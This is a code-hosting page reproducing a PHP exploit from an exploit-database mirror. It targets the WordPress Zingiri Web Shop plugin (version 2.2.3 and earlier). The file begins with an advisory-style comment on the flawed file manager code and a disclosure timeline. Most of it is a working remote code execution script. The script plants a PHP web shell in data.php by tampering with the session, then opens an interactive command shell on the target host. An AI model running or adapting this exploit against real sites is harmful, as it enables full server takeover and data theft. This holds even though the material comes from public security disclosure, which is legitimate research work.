PageRenderTime 25ms CodeModel.GetById 25ms RepoModel.GetById 1ms app.codeStats 0ms

/exploits/php/webapps/18111.php

https://bitbucket.org/DinoRex99/exploit-database
PHP | 157 lines | 77 code | 24 blank | 56 comment | 6 complexity | ed502d6d489b93f56d5ef77387352f40 MD5 | raw file
Possible License(s): GPL-2.0
  1. <?php
  2. /*
  3. ------------------------------------------------------------------------
  4. Wordpress Zingiri Web Shop Plugin <= 2.2.3 Remote Code Execution Exploit
  5. ------------------------------------------------------------------------
  6. author...............: Egidio Romano aka EgiX
  7. mail.................: n0b0d13s[at]gmail[dot]com
  8. software link........: http://wordpress.org/extend/plugins/zingiri-web-shop/
  9. affected versions....: from 0.9.12 to 2.2.3
  10. +-------------------------------------------------------------------------+
  11. | This proof of concept code was written for educational purpose only. |
  12. | Use it at your own risk. Author will be not responsible for any damage. |
  13. +-------------------------------------------------------------------------+
  14. [-] vulnerable code in /fws/addons/tinymce/jscripts/tiny_mce/plugins/ajaxfilemanager/ajax_save_name.php
  15. 37. @ob_start();
  16. 38. include_once(CLASS_SESSION_ACTION);
  17. 39. $sessionAction = new SessionAction();
  18. 40. $selectedDocuments = $sessionAction->get();
  19. 41. if(removeTrailingSlash($sessionAction->getFolder()) == getParentPath($_POST['id']) && sizeof($selectedDocuments))
  20. 42. {
  21. 43. if(($key = array_search(basename($_POST['id']), $selectedDocuments)) !== false)
  22. 44. {
  23. 45. $selectedDocuments[$key] = $_POST['value'];
  24. 46. $sessionAction->set($selectedDocuments);
  25. 47.
  26. 48. }
  27. 49. echo basename($_POST['id']) . "\n";
  28. 50. displayArray($selectedDocuments);
  29. 51.
  30. 52. }elseif(removeTrailingSlash($sessionAction->getFolder()) == removeTrailingSlash($_POST['id']))
  31. 53. {
  32. 54. $sessionAction->setFolder($_POST['id']);
  33. 55. }
  34. 56. writeInfo(ob_get_clean());
  35. An attacker could be able to manipulate the $selectedDocuments array that will be displayed at line 50,
  36. then at line 56 is called the 'writeInfo' function using the current buffer contents as argument.
  37. Like my recently discovered vulnerability (http://www.exploit-db.com/exploits/18075/), this function
  38. writes into a file called 'data.php' so an attacker could be able to execute arbitrary PHP code.
  39. [-] Note:
  40. The same vulnerability affects also the Joomla component (http://extensions.joomla.org/extensions/e-commerce/shopping-cart/13580)
  41. but isn't exploitable due to a misconfiguration in 'CONFIG_SYS_ROOT_PATH' constant definition.
  42. [-] Disclosure timeline:
  43. [23/10/2011] - Vulnerability discovered
  44. [25/10/2011] - Issue reported to http://forums.zingiri.com/
  45. [12/11/2011] - Version 2.2.4 released
  46. [13/11/2011] - Public disclosure
  47. */
  48. error_reporting(0);
  49. set_time_limit(0);
  50. ini_set("default_socket_timeout", 5);
  51. $fileman = "wp-content/plugins/zingiri-web-shop/fws/addons/tinymce/jscripts/tiny_mce/plugins/ajaxfilemanager";
  52. function http_send($host, $packet)
  53. {
  54. if (!($sock = fsockopen($host, 80)))
  55. die( "\n[-] No response from {$host}:80\n");
  56. fwrite($sock, $packet);
  57. return stream_get_contents($sock);
  58. }
  59. function get_root_dir()
  60. {
  61. global $host, $path, $fileman;
  62. $packet = "GET {$path}{$fileman}/ajaxfilemanager.php HTTP/1.0\r\n";
  63. $packet .= "Host: {$host}\r\n";
  64. $packet .= "Connection: close\r\n\r\n";
  65. if (!preg_match('/currentFolderPath" value="([^"]*)"/', http_send($host, $packet), $m)) die("\n[-] Root folder path not found!\n");
  66. return $m[1];
  67. }
  68. function random_mkdir()
  69. {
  70. global $host, $path, $fileman, $rootdir;
  71. $dirname = uniqid();
  72. $payload = "new_folder={$dirname}&currentFolderPath={$rootdir}";
  73. $packet = "POST {$path}{$fileman}/ajax_create_folder.php HTTP/1.0\r\n";
  74. $packet .= "Host: {$host}\r\n";
  75. $packet .= "Content-Length: ".strlen($payload)."\r\n";
  76. $packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
  77. $packet .= "Connection: close\r\n\r\n{$payload}";
  78. http_send($host, $packet);
  79. return $dirname;
  80. }
  81. print "\n+----------------------------------------------------------------------------------+";
  82. print "\n| Wordpress Zingiri Web Shop Plugin <= 2.2.3 Remote Code Execution Exploit by EgiX |";
  83. print "\n+----------------------------------------------------------------------------------+\n";
  84. if ($argc < 3)
  85. {
  86. print "\nUsage......: php $argv[0] <host> <path>\n";
  87. print "\nExample....: php $argv[0] localhost /";
  88. print "\nExample....: php $argv[0] localhost /wordpress/\n";
  89. die();
  90. }
  91. $host = $argv[1];
  92. $path = $argv[2];
  93. $rootdir = get_root_dir();
  94. $phpcode = "<?php error_reporting(0);print(_code_);passthru(base64_decode(\$_SERVER[HTTP_CMD]));die; ?>";
  95. $payload = "selectedDoc[]={$phpcode}&currentFolderPath={$rootdir}";
  96. $packet = "POST {$path}{$fileman}/ajax_file_cut.php HTTP/1.0\r\n";
  97. $packet .= "Host: {$host}\r\n";
  98. $packet .= "Content-Length: ".strlen($payload)."\r\n";
  99. $packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
  100. $packet .= "Connection: close\r\n\r\n{$payload}";
  101. if (!preg_match("/Set-Cookie: ([^;]*);/", http_send($host, $packet), $sid)) die("\n[-] Session ID not found!\n");
  102. $dirname = random_mkdir();
  103. $newname = uniqid();
  104. $payload = "value={$newname}&id={$rootdir}{$dirname}";
  105. $packet = "POST {$path}{$fileman}/ajax_save_name.php HTTP/1.0\r\n";
  106. $packet .= "Host: {$host}\r\n";
  107. $packet .= "Cookie: {$sid[1]}\r\n";
  108. $packet .= "Content-Length: ".strlen($payload)."\r\n";
  109. $packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
  110. $packet .= "Connection: close\r\n\r\n{$payload}";
  111. http_send($host, $packet);
  112. $packet = "GET {$path}{$fileman}/inc/data.php HTTP/1.0\r\n";
  113. $packet .= "Host: {$host}\r\n";
  114. $packet .= "Cmd: %s\r\n";
  115. $packet .= "Connection: close\r\n\r\n";
  116. while(1)
  117. {
  118. print "\nzingiri-shell# ";
  119. if (($cmd = trim(fgets(STDIN))) == "exit") break;
  120. preg_match("/_code_(.*)/s", http_send($host, sprintf($packet, base64_encode($cmd))), $m) ?
  121. print $m[1] : die("\n[-] Exploit failed!\n");
  122. }
  123. ?>